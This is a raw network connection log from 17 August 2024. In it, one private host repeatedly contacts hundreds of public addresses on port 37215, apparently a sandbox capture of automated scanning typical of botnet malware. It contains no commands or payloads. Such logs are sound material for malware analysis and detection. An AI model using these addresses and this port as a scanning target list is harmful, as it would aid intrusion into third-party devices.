Aug 17, 2024 01:01:53.651854038 CEST	38090	37215	192.168.2.13	41.114.6.13
Aug 17, 2024 01:01:53.651854992 CEST	37215	53200	156.153.21.213	192.168.2.13
Aug 17, 2024 01:01:53.651868105 CEST	37215	33176	156.37.223.11	192.168.2.13
Aug 17, 2024 01:01:53.651870012 CEST	40122	37215	192.168.2.13	156.239.31.113
Aug 17, 2024 01:01:53.651878119 CEST	37215	32966	156.30.24.2	192.168.2.13
Aug 17, 2024 01:01:53.651884079 CEST	46064	37215	192.168.2.13	156.125.252.168
Aug 17, 2024 01:01:53.651884079 CEST	60818	37215	192.168.2.13	156.226.180.139
Aug 17, 2024 01:01:53.651884079 CEST	53200	37215	192.168.2.13	156.153.21.213
Aug 17, 2024 01:01:53.651890039 CEST	37215	52648	156.83.37.240	192.168.2.13
Aug 17, 2024 01:01:53.651895046 CEST	37215	53260	156.83.37.240	192.168.2.13
Aug 17, 2024 01:01:53.651899099 CEST	37215	50912	156.9.53.194	192.168.2.13
Aug 17, 2024 01:01:53.651902914 CEST	37215	44452	41.26.153.99	192.168.2.13
Aug 17, 2024 01:01:53.651901960 CEST	33176	37215	192.168.2.13	156.37.223.11
Aug 17, 2024 01:01:53.651915073 CEST	53260	37215	192.168.2.13	156.83.37.240
Aug 17, 2024 01:01:53.651925087 CEST	50912	37215	192.168.2.13	156.9.53.194
Aug 17, 2024 01:01:53.651936054 CEST	46064	37215	192.168.2.13	156.125.252.168
Aug 17, 2024 01:01:53.651942968 CEST	40122	37215	192.168.2.13	156.239.31.113
Aug 17, 2024 01:01:53.651951075 CEST	37215	33578	156.30.24.2	192.168.2.13
Aug 17, 2024 01:01:53.651954889 CEST	53260	37215	192.168.2.13	156.83.37.240
Aug 17, 2024 01:01:53.651954889 CEST	37215	45064	41.26.153.99	192.168.2.13
Aug 17, 2024 01:01:53.651958942 CEST	37215	59852	156.206.178.183	192.168.2.13
Aug 17, 2024 01:01:53.651962996 CEST	37215	60464	156.206.178.183	192.168.2.13
Aug 17, 2024 01:01:53.651962996 CEST	33176	37215	192.168.2.13	156.37.223.11
Aug 17, 2024 01:01:53.651978970 CEST	33578	37215	192.168.2.13	156.30.24.2
Aug 17, 2024 01:01:53.651988029 CEST	60464	37215	192.168.2.13	156.206.178.183
Aug 17, 2024 01:01:53.652003050 CEST	45064	37215	192.168.2.13	41.26.153.99
Aug 17, 2024 01:01:53.652003050 CEST	33578	37215	192.168.2.13	156.30.24.2
Aug 17, 2024 01:01:53.652008057 CEST	53200	37215	192.168.2.13	156.153.21.213
Aug 17, 2024 01:01:53.652015924 CEST	60464	37215	192.168.2.13	156.206.178.183
Aug 17, 2024 01:01:53.652034044 CEST	37215	34138	156.40.198.81	192.168.2.13
Aug 17, 2024 01:01:53.652040958 CEST	37215	34750	156.40.198.81	192.168.2.13
Aug 17, 2024 01:01:53.652049065 CEST	37215	41166	41.45.71.60	192.168.2.13
Aug 17, 2024 01:01:53.652053118 CEST	37215	41778	41.45.71.60	192.168.2.13
Aug 17, 2024 01:01:53.652055979 CEST	45064	37215	192.168.2.13	41.26.153.99
Aug 17, 2024 01:01:53.652070999 CEST	34750	37215	192.168.2.13	156.40.198.81
Aug 17, 2024 01:01:53.652079105 CEST	41778	37215	192.168.2.13	41.45.71.60
Aug 17, 2024 01:01:53.652090073 CEST	34750	37215	192.168.2.13	156.40.198.81
Aug 17, 2024 01:01:53.652097940 CEST	41778	37215	192.168.2.13	41.45.71.60
Aug 17, 2024 01:01:53.652106047 CEST	37215	51822	197.23.9.21	192.168.2.13
Aug 17, 2024 01:01:53.652117014 CEST	37215	57112	197.70.91.121	192.168.2.13
Aug 17, 2024 01:01:53.652122021 CEST	37215	38408	197.228.132.154	192.168.2.13
Aug 17, 2024 01:01:53.652147055 CEST	57112	37215	192.168.2.13	197.70.91.121
Aug 17, 2024 01:01:53.652168036 CEST	37215	39020	197.228.132.154	192.168.2.13
Aug 17, 2024 01:01:53.652172089 CEST	37215	56346	156.80.167.54	192.168.2.13
Aug 17, 2024 01:01:53.652199030 CEST	39020	37215	192.168.2.13	197.228.132.154
Aug 17, 2024 01:01:53.652206898 CEST	39020	37215	192.168.2.13	197.228.132.154
Aug 17, 2024 01:01:53.652404070 CEST	37215	52434	197.23.9.21	192.168.2.13
Aug 17, 2024 01:01:53.652407885 CEST	37215	56958	156.80.167.54	192.168.2.13
Aug 17, 2024 01:01:53.652446985 CEST	56958	37215	192.168.2.13	156.80.167.54
Aug 17, 2024 01:01:53.652448893 CEST	52434	37215	192.168.2.13	197.23.9.21
Aug 17, 2024 01:01:53.652448893 CEST	52434	37215	192.168.2.13	197.23.9.21
Aug 17, 2024 01:01:53.652458906 CEST	56958	37215	192.168.2.13	156.80.167.54
Aug 17, 2024 01:01:53.652477980 CEST	37215	42762	41.149.110.25	192.168.2.13
Aug 17, 2024 01:01:53.652494907 CEST	37215	43374	41.149.110.25	192.168.2.13
Aug 17, 2024 01:01:53.652509928 CEST	37215	39030	41.135.202.69	192.168.2.13
Aug 17, 2024 01:01:53.652513981 CEST	37215	44542	41.59.242.136	192.168.2.13
Aug 17, 2024 01:01:53.652522087 CEST	37215	48036	156.255.215.98	192.168.2.13
Aug 17, 2024 01:01:53.652525902 CEST	37215	39642	41.135.202.69	192.168.2.13
Aug 17, 2024 01:01:53.652529955 CEST	37215	48648	156.255.215.98	192.168.2.13
Aug 17, 2024 01:01:53.652530909 CEST	43374	37215	192.168.2.13	41.149.110.25
Aug 17, 2024 01:01:53.652530909 CEST	43374	37215	192.168.2.13	41.149.110.25
Aug 17, 2024 01:01:53.652539968 CEST	37215	43652	156.118.33.119	192.168.2.13
Aug 17, 2024 01:01:53.652544975 CEST	37215	44264	156.118.33.119	192.168.2.13
Aug 17, 2024 01:01:53.652553082 CEST	37215	46398	197.186.87.46	192.168.2.13
Aug 17, 2024 01:01:53.652554989 CEST	48648	37215	192.168.2.13	156.255.215.98
Aug 17, 2024 01:01:53.652560949 CEST	39642	37215	192.168.2.13	41.135.202.69
Aug 17, 2024 01:01:53.652564049 CEST	37215	47010	197.186.87.46	192.168.2.13
Aug 17, 2024 01:01:53.652568102 CEST	37215	58826	197.77.172.12	192.168.2.13
Aug 17, 2024 01:01:53.652575016 CEST	44264	37215	192.168.2.13	156.118.33.119
Aug 17, 2024 01:01:53.652575970 CEST	48648	37215	192.168.2.13	156.255.215.98
Aug 17, 2024 01:01:53.652596951 CEST	44264	37215	192.168.2.13	156.118.33.119
Aug 17, 2024 01:01:53.652596951 CEST	44542	37215	192.168.2.13	41.59.242.136
Aug 17, 2024 01:01:53.652601004 CEST	37215	59438	197.77.172.12	192.168.2.13
Aug 17, 2024 01:01:53.652606010 CEST	39642	37215	192.168.2.13	41.135.202.69
Aug 17, 2024 01:01:53.652606010 CEST	47010	37215	192.168.2.13	197.186.87.46
Aug 17, 2024 01:01:53.652606010 CEST	47010	37215	192.168.2.13	197.186.87.46
Aug 17, 2024 01:01:53.652609110 CEST	37215	45714	156.71.169.255	192.168.2.13
Aug 17, 2024 01:01:53.652617931 CEST	37215	46326	156.71.169.255	192.168.2.13
Aug 17, 2024 01:01:53.652622938 CEST	37215	39448	197.137.134.214	192.168.2.13
Aug 17, 2024 01:01:53.652636051 CEST	59438	37215	192.168.2.13	197.77.172.12
Aug 17, 2024 01:01:53.652647018 CEST	46326	37215	192.168.2.13	156.71.169.255
Aug 17, 2024 01:01:53.652659893 CEST	59438	37215	192.168.2.13	197.77.172.12
Aug 17, 2024 01:01:53.652667999 CEST	46326	37215	192.168.2.13	156.71.169.255
Aug 17, 2024 01:01:53.652686119 CEST	37215	40060	197.137.134.214	192.168.2.13
Aug 17, 2024 01:01:53.652690887 CEST	37215	46640	156.144.151.245	192.168.2.13
Aug 17, 2024 01:01:53.652698994 CEST	37215	47252	156.144.151.245	192.168.2.13
Aug 17, 2024 01:01:53.652702093 CEST	37215	48244	41.6.202.61	192.168.2.13
Aug 17, 2024 01:01:53.652726889 CEST	47252	37215	192.168.2.13	156.144.151.245
Aug 17, 2024 01:01:53.652741909 CEST	40060	37215	192.168.2.13	197.137.134.214
Aug 17, 2024 01:01:53.652741909 CEST	40060	37215	192.168.2.13	197.137.134.214
Aug 17, 2024 01:01:53.652751923 CEST	47252	37215	192.168.2.13	156.144.151.245
Aug 17, 2024 01:01:53.652792931 CEST	37215	48856	41.6.202.61	192.168.2.13
Aug 17, 2024 01:01:53.652796984 CEST	37215	50008	41.192.35.18	192.168.2.13
Aug 17, 2024 01:01:53.652805090 CEST	37215	34920	41.239.90.207	192.168.2.13
Aug 17, 2024 01:01:53.652823925 CEST	48856	37215	192.168.2.13	41.6.202.61
Aug 17, 2024 01:01:53.652833939 CEST	37215	35532	41.239.90.207	192.168.2.13
Aug 17, 2024 01:01:53.652837992 CEST	37215	50620	41.192.35.18	192.168.2.13
Aug 17, 2024 01:01:53.652837992 CEST	48856	37215	192.168.2.13	41.6.202.61
Aug 17, 2024 01:01:53.652842045 CEST	37215	60402	156.199.219.102	192.168.2.13
Aug 17, 2024 01:01:53.652856112 CEST	35532	37215	192.168.2.13	41.239.90.207
Aug 17, 2024 01:01:53.652869940 CEST	50620	37215	192.168.2.13	41.192.35.18
Aug 17, 2024 01:01:53.652869940 CEST	50620	37215	192.168.2.13	41.192.35.18
Aug 17, 2024 01:01:53.652877092 CEST	35532	37215	192.168.2.13	41.239.90.207
Aug 17, 2024 01:01:53.652966976 CEST	37215	32782	156.199.219.102	192.168.2.13
Aug 17, 2024 01:01:53.652971983 CEST	37215	58288	197.248.146.23	192.168.2.13
Aug 17, 2024 01:01:53.652981043 CEST	37215	37492	197.132.193.151	192.168.2.13
Aug 17, 2024 01:01:53.653011084 CEST	32782	37215	192.168.2.13	156.199.219.102
Aug 17, 2024 01:01:53.653110981 CEST	37215	38104	197.132.193.151	192.168.2.13
Aug 17, 2024 01:01:53.653120041 CEST	37215	34818	156.252.111.134	192.168.2.13
Aug 17, 2024 01:01:53.653126955 CEST	32782	37215	192.168.2.13	156.199.219.102
Aug 17, 2024 01:01:53.653143883 CEST	38104	37215	192.168.2.13	197.132.193.151
Aug 17, 2024 01:01:53.653158903 CEST	34818	37215	192.168.2.13	156.252.111.134
Aug 17, 2024 01:01:53.653158903 CEST	38104	37215	192.168.2.13	197.132.193.151
Aug 17, 2024 01:01:53.653425932 CEST	37215	34082	41.193.15.163	192.168.2.13
Aug 17, 2024 01:01:53.653429985 CEST	37215	38704	156.79.85.244	192.168.2.13
Aug 17, 2024 01:01:53.653462887 CEST	34082	37215	192.168.2.13	41.193.15.163
Aug 17, 2024 01:01:53.653656006 CEST	37215	51834	156.91.48.41	192.168.2.13
Aug 17, 2024 01:01:53.653870106 CEST	37215	57396	41.111.135.196	192.168.2.13
Aug 17, 2024 01:01:53.653883934 CEST	38704	37215	192.168.2.13	156.79.85.244
Aug 17, 2024 01:01:53.653898001 CEST	57396	37215	192.168.2.13	41.111.135.196
Aug 17, 2024 01:01:53.653902054 CEST	51834	37215	192.168.2.13	156.91.48.41
Aug 17, 2024 01:01:53.653933048 CEST	37215	59136	156.232.165.87	192.168.2.13
Aug 17, 2024 01:01:53.653959990 CEST	58288	37215	192.168.2.13	197.248.146.23
Aug 17, 2024 01:01:53.653970003 CEST	59136	37215	192.168.2.13	156.232.165.87
Aug 17, 2024 01:01:53.654262066 CEST	37215	33824	156.198.127.238	192.168.2.13
Aug 17, 2024 01:01:53.654369116 CEST	37215	48224	156.191.92.231	192.168.2.13
Aug 17, 2024 01:01:53.654398918 CEST	33824	37215	192.168.2.13	156.198.127.238
Aug 17, 2024 01:01:53.654398918 CEST	48224	37215	192.168.2.13	156.191.92.231
Aug 17, 2024 01:01:53.654728889 CEST	37215	37428	156.8.222.105	192.168.2.13
Aug 17, 2024 01:01:53.654757023 CEST	37428	37215	192.168.2.13	156.8.222.105
Aug 17, 2024 01:01:53.654840946 CEST	37215	44376	197.85.103.158	192.168.2.13
Aug 17, 2024 01:01:53.654876947 CEST	44376	37215	192.168.2.13	197.85.103.158
Aug 17, 2024 01:01:53.654953957 CEST	37215	52918	197.248.246.30	192.168.2.13
Aug 17, 2024 01:01:53.654987097 CEST	52918	37215	192.168.2.13	197.248.246.30
Aug 17, 2024 01:01:53.655096054 CEST	37215	56568	197.94.154.138	192.168.2.13
Aug 17, 2024 01:01:53.655190945 CEST	56568	37215	192.168.2.13	197.94.154.138
Aug 17, 2024 01:01:53.655291080 CEST	37215	55182	156.214.148.208	192.168.2.13
Aug 17, 2024 01:01:53.655767918 CEST	55182	37215	192.168.2.13	156.214.148.208
Aug 17, 2024 01:01:53.655823946 CEST	37215	39000	156.129.216.236	192.168.2.13
Aug 17, 2024 01:01:53.655829906 CEST	37215	51586	156.209.68.171	192.168.2.13
Aug 17, 2024 01:01:53.655841112 CEST	37215	40074	197.237.253.232	192.168.2.13
Aug 17, 2024 01:01:53.655853033 CEST	37215	54880	41.108.21.210	192.168.2.13
Aug 17, 2024 01:01:53.655857086 CEST	37215	59364	156.216.77.222	192.168.2.13
Aug 17, 2024 01:01:53.655859947 CEST	37215	38704	41.49.222.155	192.168.2.13
Aug 17, 2024 01:01:53.655869007 CEST	37215	51278	197.71.250.24	192.168.2.13
Aug 17, 2024 01:01:53.655872107 CEST	37215	57666	197.47.45.83	192.168.2.13
Aug 17, 2024 01:01:53.655875921 CEST	37215	37980	41.56.20.161	192.168.2.13
Aug 17, 2024 01:01:53.655896902 CEST	37215	55790	197.145.210.32	192.168.2.13
Aug 17, 2024 01:01:53.655900955 CEST	37215	39678	41.91.242.163	192.168.2.13
Aug 17, 2024 01:01:53.655909061 CEST	37215	42804	41.172.137.63	192.168.2.13
Aug 17, 2024 01:01:53.655913115 CEST	37215	39190	197.123.104.55	192.168.2.13
Aug 17, 2024 01:01:53.655915976 CEST	37215	40054	156.146.165.57	192.168.2.13
Aug 17, 2024 01:01:53.655935049 CEST	37215	53830	197.34.26.60	192.168.2.13
Aug 17, 2024 01:01:53.655939102 CEST	37215	57100	156.35.87.155	192.168.2.13
Aug 17, 2024 01:01:53.655946970 CEST	37215	58294	156.132.106.251	192.168.2.13
Aug 17, 2024 01:01:53.655950069 CEST	37215	43622	156.189.137.76	192.168.2.13
Aug 17, 2024 01:01:53.655958891 CEST	37215	49530	156.171.85.227	192.168.2.13
Aug 17, 2024 01:01:53.655973911 CEST	37215	33290	197.79.139.209	192.168.2.13
Aug 17, 2024 01:01:53.655982018 CEST	37215	49634	41.233.157.31	192.168.2.13
Aug 17, 2024 01:01:53.655985117 CEST	37215	39608	156.17.61.123	192.168.2.13
Aug 17, 2024 01:01:53.655993938 CEST	37215	48030	156.253.101.35	192.168.2.13
Aug 17, 2024 01:01:53.655997038 CEST	37215	51476	156.26.186.237	192.168.2.13
Aug 17, 2024 01:01:53.656007051 CEST	37215	38760	197.54.105.36	192.168.2.13
Aug 17, 2024 01:01:53.656009912 CEST	37215	45292	156.166.210.31	192.168.2.13
Aug 17, 2024 01:01:53.656018019 CEST	37215	49752	41.104.61.6	192.168.2.13
Aug 17, 2024 01:01:53.656022072 CEST	37215	36736	41.45.100.253	192.168.2.13
Aug 17, 2024 01:01:53.656029940 CEST	37215	35622	197.23.200.238	192.168.2.13
Aug 17, 2024 01:01:53.656033993 CEST	37215	60502	156.25.202.86	192.168.2.13
Aug 17, 2024 01:01:53.656039953 CEST	37215	48548	41.193.14.154	192.168.2.13
Aug 17, 2024 01:01:53.656049013 CEST	37215	42422	197.191.64.57	192.168.2.13
Aug 17, 2024 01:01:53.656053066 CEST	37215	39836	41.12.80.68	192.168.2.13
Aug 17, 2024 01:01:53.656075001 CEST	37215	54626	156.190.207.0	192.168.2.13
Aug 17, 2024 01:01:53.656085968 CEST	37215	51726	156.195.212.190	192.168.2.13
Aug 17, 2024 01:01:53.656095028 CEST	37215	47424	41.11.71.133	192.168.2.13
Aug 17, 2024 01:01:53.656102896 CEST	37215	41806	41.212.130.10	192.168.2.13
Aug 17, 2024 01:01:53.656111956 CEST	37215	60464	156.202.94.57	192.168.2.13
Aug 17, 2024 01:01:53.656116009 CEST	37215	43138	41.177.247.124	192.168.2.13
Aug 17, 2024 01:01:53.656125069 CEST	37215	58108	197.177.193.123	192.168.2.13
Aug 17, 2024 01:01:53.656127930 CEST	37215	44360	41.133.233.221	192.168.2.13
Aug 17, 2024 01:01:53.656136990 CEST	37215	33008	197.156.10.198	192.168.2.13
Aug 17, 2024 01:01:53.656141043 CEST	37215	60946	197.121.158.166	192.168.2.13
Aug 17, 2024 01:01:53.656145096 CEST	37215	37986	156.180.56.84	192.168.2.13
Aug 17, 2024 01:01:53.656152964 CEST	37215	47486	41.184.194.56	192.168.2.13
Aug 17, 2024 01:01:53.656158924 CEST	37215	38468	41.22.187.199	192.168.2.13
Aug 17, 2024 01:01:53.656167030 CEST	37215	46224	156.96.163.82	192.168.2.13
Aug 17, 2024 01:01:53.656171083 CEST	37215	47792	156.40.28.159	192.168.2.13
Aug 17, 2024 01:01:53.656188011 CEST	37215	42082	41.58.43.16	192.168.2.13
Aug 17, 2024 01:01:53.656192064 CEST	37215	44300	41.245.184.88	192.168.2.13
Aug 17, 2024 01:01:53.656199932 CEST	37215	46978	156.170.0.111	192.168.2.13
Aug 17, 2024 01:01:53.656203985 CEST	37215	34364	41.175.118.166	192.168.2.13
Aug 17, 2024 01:01:53.656212091 CEST	37215	56416	41.135.153.113	192.168.2.13
Aug 17, 2024 01:01:53.656217098 CEST	37215	42458	197.142.174.225	192.168.2.13
Aug 17, 2024 01:01:53.656224966 CEST	37215	44406	41.30.13.209	192.168.2.13
Aug 17, 2024 01:01:53.656229019 CEST	37215	37414	41.50.104.78	192.168.2.13
Aug 17, 2024 01:01:53.656239986 CEST	37215	58638	41.212.206.133	192.168.2.13
Aug 17, 2024 01:01:53.656243086 CEST	37215	43012	156.227.198.116	192.168.2.13
Aug 17, 2024 01:01:53.656253099 CEST	37215	38618	41.158.204.133	192.168.2.13
Aug 17, 2024 01:01:53.656255960 CEST	37215	41384	156.172.238.118	192.168.2.13
Aug 17, 2024 01:01:53.656265020 CEST	37215	39728	41.187.55.248	192.168.2.13
Aug 17, 2024 01:01:53.656269073 CEST	37215	33104	41.92.244.170	192.168.2.13
Aug 17, 2024 01:01:53.656277895 CEST	37215	52812	41.95.107.251	192.168.2.13
Aug 17, 2024 01:01:53.656281948 CEST	37215	33476	156.196.119.82	192.168.2.13
Aug 17, 2024 01:01:53.656291008 CEST	37215	51152	41.239.105.32	192.168.2.13
Aug 17, 2024 01:01:53.656295061 CEST	37215	49316	156.95.91.99	192.168.2.13
Aug 17, 2024 01:01:53.656305075 CEST	37215	34996	41.17.130.35	192.168.2.13
Aug 17, 2024 01:01:53.656307936 CEST	37215	42320	197.32.225.20	192.168.2.13
Aug 17, 2024 01:01:53.656312943 CEST	37215	39212	156.12.180.17	192.168.2.13
Aug 17, 2024 01:01:53.656321049 CEST	37215	44590	197.111.114.112	192.168.2.13
Aug 17, 2024 01:01:53.656323910 CEST	37215	53602	197.208.199.186	192.168.2.13
Aug 17, 2024 01:01:53.656332016 CEST	37215	60254	197.21.187.211	192.168.2.13
Aug 17, 2024 01:01:53.656336069 CEST	37215	47288	41.198.146.159	192.168.2.13
Aug 17, 2024 01:01:53.656346083 CEST	37215	57692	156.75.239.51	192.168.2.13
Aug 17, 2024 01:01:53.656348944 CEST	37215	45562	156.163.162.59	192.168.2.13
Aug 17, 2024 01:01:53.656358957 CEST	37215	33296	156.144.246.34	192.168.2.13
Aug 17, 2024 01:01:53.656363964 CEST	37215	44298	197.226.36.164	192.168.2.13
Aug 17, 2024 01:01:53.656373978 CEST	37215	37892	156.119.11.52	192.168.2.13
Aug 17, 2024 01:01:53.656378031 CEST	37215	50384	41.9.135.201	192.168.2.13
Aug 17, 2024 01:01:53.656385899 CEST	37215	33448	156.177.91.0	192.168.2.13
Aug 17, 2024 01:01:53.656389952 CEST	37215	36474	41.248.228.9	192.168.2.13
Aug 17, 2024 01:01:53.656399012 CEST	37215	42376	156.186.51.123	192.168.2.13
Aug 17, 2024 01:01:53.656402111 CEST	37215	42064	197.175.35.145	192.168.2.13
Aug 17, 2024 01:01:53.656411886 CEST	37215	45292	156.211.196.246	192.168.2.13
Aug 17, 2024 01:01:53.656414986 CEST	37215	34250	41.198.196.159	192.168.2.13
Aug 17, 2024 01:01:53.656418085 CEST	37215	46912	156.208.138.87	192.168.2.13
Aug 17, 2024 01:01:53.656426907 CEST	37215	40354	41.162.93.226	192.168.2.13
Aug 17, 2024 01:01:53.656430960 CEST	37215	39148	197.197.236.147	192.168.2.13
Aug 17, 2024 01:01:53.656439066 CEST	37215	36966	197.45.32.190	192.168.2.13
Aug 17, 2024 01:01:53.656443119 CEST	37215	42928	156.217.124.220	192.168.2.13
Aug 17, 2024 01:01:53.656451941 CEST	37215	52798	41.85.178.55	192.168.2.13
Aug 17, 2024 01:01:53.656456947 CEST	37215	32930	156.80.95.191	192.168.2.13
Aug 17, 2024 01:01:53.656465054 CEST	37215	44334	41.157.166.194	192.168.2.13
Aug 17, 2024 01:01:53.656469107 CEST	37215	59130	156.114.139.111	192.168.2.13
Aug 17, 2024 01:01:53.656476974 CEST	37215	38606	41.239.56.153	192.168.2.13
Aug 17, 2024 01:01:53.656488895 CEST	37215	58338	197.62.104.162	192.168.2.13
Aug 17, 2024 01:01:53.656512976 CEST	37215	47758	156.95.81.195	192.168.2.13
Aug 17, 2024 01:01:53.656517029 CEST	37215	33632	156.8.41.111	192.168.2.13
Aug 17, 2024 01:01:53.656534910 CEST	37215	47314	156.253.192.21	192.168.2.13
Aug 17, 2024 01:01:53.656538010 CEST	37215	47316	197.84.229.66	192.168.2.13
Aug 17, 2024 01:01:53.656546116 CEST	37215	51620	41.209.253.67	192.168.2.13
Aug 17, 2024 01:01:53.656549931 CEST	37215	49070	156.12.34.211	192.168.2.13
Aug 17, 2024 01:01:53.656558990 CEST	37215	48476	156.252.93.227	192.168.2.13
Aug 17, 2024 01:01:53.656563044 CEST	37215	48118	156.229.31.78	192.168.2.13
Aug 17, 2024 01:01:53.656565905 CEST	37215	43968	156.209.245.194	192.168.2.13
Aug 17, 2024 01:01:53.656574965 CEST	37215	49798	197.177.67.110	192.168.2.13
Aug 17, 2024 01:01:53.656579018 CEST	37215	33650	156.206.245.133	192.168.2.13
Aug 17, 2024 01:01:53.656588078 CEST	37215	36794	197.193.51.179	192.168.2.13
Aug 17, 2024 01:01:53.656594038 CEST	37215	60824	41.203.182.94	192.168.2.13
Aug 17, 2024 01:01:53.656603098 CEST	37215	49200	197.41.196.166	192.168.2.13
Aug 17, 2024 01:01:53.656606913 CEST	37215	54558	156.69.19.103	192.168.2.13
Aug 17, 2024 01:01:53.656615019 CEST	37215	55878	41.97.74.86	192.168.2.13
Aug 17, 2024 01:01:53.656619072 CEST	37215	59390	156.73.13.89	192.168.2.13
Aug 17, 2024 01:01:53.656651974 CEST	59390	37215	192.168.2.13	156.73.13.89
Aug 17, 2024 01:01:53.656651974 CEST	55878	37215	192.168.2.13	41.97.74.86
Aug 17, 2024 01:01:53.656742096 CEST	37215	53442	156.226.203.71	192.168.2.13
Aug 17, 2024 01:01:53.656769037 CEST	53442	37215	192.168.2.13	156.226.203.71
Aug 17, 2024 01:01:53.657332897 CEST	37215	41242	156.232.18.235	192.168.2.13
Aug 17, 2024 01:01:53.657341957 CEST	37215	59698	197.124.155.73	192.168.2.13
Aug 17, 2024 01:01:53.657514095 CEST	37215	37236	41.238.33.63	192.168.2.13
Aug 17, 2024 01:01:53.657643080 CEST	37215	55364	197.36.100.55	192.168.2.13
Aug 17, 2024 01:01:53.657656908 CEST	41242	37215	192.168.2.13	156.232.18.235
Aug 17, 2024 01:01:53.657660007 CEST	59698	37215	192.168.2.13	197.124.155.73
Aug 17, 2024 01:01:53.657674074 CEST	37236	37215	192.168.2.13	41.238.33.63
Aug 17, 2024 01:01:53.657676935 CEST	55364	37215	192.168.2.13	197.36.100.55
Aug 17, 2024 01:01:53.657795906 CEST	37215	42398	41.233.208.138	192.168.2.13
Aug 17, 2024 01:01:53.658004045 CEST	37215	50820	156.129.209.36	192.168.2.13
Aug 17, 2024 01:01:53.658036947 CEST	42398	37215	192.168.2.13	41.233.208.138
Aug 17, 2024 01:01:53.658041000 CEST	50820	37215	192.168.2.13	156.129.209.36
Aug 17, 2024 01:01:53.658183098 CEST	37215	39108	41.26.220.216	192.168.2.13
Aug 17, 2024 01:01:53.658404112 CEST	37215	41726	197.120.217.7	192.168.2.13
Aug 17, 2024 01:01:53.658431053 CEST	39108	37215	192.168.2.13	41.26.220.216
Aug 17, 2024 01:01:53.658433914 CEST	41726	37215	192.168.2.13	197.120.217.7
Aug 17, 2024 01:01:53.658495903 CEST	37215	58368	197.8.208.110	192.168.2.13
Aug 17, 2024 01:01:53.658683062 CEST	37215	32882	41.32.132.80	192.168.2.13
Aug 17, 2024 01:01:53.658710957 CEST	32882	37215	192.168.2.13	41.32.132.80
Aug 17, 2024 01:01:53.658713102 CEST	58368	37215	192.168.2.13	197.8.208.110
Aug 17, 2024 01:01:53.659014940 CEST	37215	58354	41.18.249.87	192.168.2.13
Aug 17, 2024 01:01:53.659207106 CEST	37215	32824	156.172.52.245	192.168.2.13
Aug 17, 2024 01:01:53.659215927 CEST	37215	34804	197.96.47.115	192.168.2.13
Aug 17, 2024 01:01:53.659235954 CEST	58354	37215	192.168.2.13	41.18.249.87
Aug 17, 2024 01:01:53.659240007 CEST	34804	37215	192.168.2.13	197.96.47.115
Aug 17, 2024 01:01:53.659240007 CEST	32824	37215	192.168.2.13	156.172.52.245
Aug 17, 2024 01:01:53.659300089 CEST	37215	48218	197.252.125.147	192.168.2.13
Aug 17, 2024 01:01:53.659354925 CEST	48218	37215	192.168.2.13	197.252.125.147
Aug 17, 2024 01:01:53.659629107 CEST	37215	43374	41.149.110.25	192.168.2.13
Aug 17, 2024 01:01:53.659632921 CEST	37215	33578	156.30.24.2	192.168.2.13
Aug 17, 2024 01:01:53.659641981 CEST	37215	51582	156.169.133.126	192.168.2.13
Aug 17, 2024 01:01:53.659645081 CEST	37215	38096	197.159.67.240	192.168.2.13
Aug 17, 2024 01:01:53.659651041 CEST	37215	34174	41.60.234.90	192.168.2.13
Aug 17, 2024 01:01:53.659665108 CEST	37215	53052	156.67.161.129	192.168.2.13
Aug 17, 2024 01:01:53.659672976 CEST	37215	60944	41.134.158.160	192.168.2.13
Aug 17, 2024 01:01:53.659677029 CEST	37215	47148	156.132.168.255	192.168.2.13
Aug 17, 2024 01:01:53.659689903 CEST	37215	57350	156.221.79.175	192.168.2.13
Aug 17, 2024 01:01:53.659693956 CEST	37215	33478	41.148.76.76	192.168.2.13
Aug 17, 2024 01:01:53.659708977 CEST	37215	39460	41.84.49.133	192.168.2.13
Aug 17, 2024 01:01:53.659713030 CEST	37215	56494	156.235.68.1	192.168.2.13
Aug 17, 2024 01:01:53.659720898 CEST	37215	36130	197.188.165.8	192.168.2.13
Aug 17, 2024 01:01:53.659723997 CEST	37215	55552	156.205.38.248	192.168.2.13
Aug 17, 2024 01:01:53.659734964 CEST	37215	50670	156.154.205.147	192.168.2.13
Aug 17, 2024 01:01:53.659749985 CEST	37215	33176	41.97.32.77	192.168.2.13
Aug 17, 2024 01:01:53.659759045 CEST	37215	51076	156.154.229.161	192.168.2.13
Aug 17, 2024 01:01:53.659763098 CEST	37215	40810	197.43.24.47	192.168.2.13
Aug 17, 2024 01:01:53.659765959 CEST	37215	45702	197.194.165.23	192.168.2.13
Aug 17, 2024 01:01:53.659770012 CEST	37215	33628	197.233.184.201	192.168.2.13
Aug 17, 2024 01:01:53.659780025 CEST	37215	35034	41.242.65.160	192.168.2.13
Aug 17, 2024 01:01:53.659782887 CEST	37215	42662	41.99.223.216	192.168.2.13
Aug 17, 2024 01:01:53.659784079 CEST	33176	37215	192.168.2.13	41.97.32.77
Aug 17, 2024 01:01:53.659786940 CEST	37215	41536	197.104.206.54	192.168.2.13
Aug 17, 2024 01:01:53.659796953 CEST	37215	44036	41.149.129.177	192.168.2.13
Aug 17, 2024 01:01:53.659801006 CEST	37215	48752	197.9.203.80	192.168.2.13
Aug 17, 2024 01:01:53.659811974 CEST	37215	36440	41.218.4.187	192.168.2.13
Aug 17, 2024 01:01:53.659816027 CEST	37215	40542	197.187.201.178	192.168.2.13
Aug 17, 2024 01:01:53.659823895 CEST	37215	42776	156.151.229.121	192.168.2.13
Aug 17, 2024 01:01:53.659827948 CEST	37215	60390	197.82.181.177	192.168.2.13
Aug 17, 2024 01:01:53.659832001 CEST	37215	43510	41.247.216.11	192.168.2.13
Aug 17, 2024 01:01:53.659847021 CEST	37215	59086	156.141.157.75	192.168.2.13
Aug 17, 2024 01:01:53.659851074 CEST	37215	49212	41.181.71.84	192.168.2.13
Aug 17, 2024 01:01:53.659861088 CEST	37215	47778	156.26.192.84	192.168.2.13
Aug 17, 2024 01:01:53.659863949 CEST	37215	56272	41.2.37.207	192.168.2.13
Aug 17, 2024 01:01:53.659872055 CEST	37215	37716	156.196.137.194	192.168.2.13
Aug 17, 2024 01:01:53.659874916 CEST	37215	45576	197.145.197.115	192.168.2.13
Aug 17, 2024 01:01:53.659883976 CEST	37215	52428	197.65.34.237	192.168.2.13
Aug 17, 2024 01:01:53.659888029 CEST	37215	35126	156.253.176.241	192.168.2.13
Aug 17, 2024 01:01:53.659897089 CEST	37215	43006	41.237.221.78	192.168.2.13
Aug 17, 2024 01:01:53.659910917 CEST	37215	42442	156.98.55.240	192.168.2.13
Aug 17, 2024 01:01:53.659914970 CEST	37215	35108	156.156.53.229	192.168.2.13
Aug 17, 2024 01:01:53.659923077 CEST	37215	39886	156.136.18.233	192.168.2.13
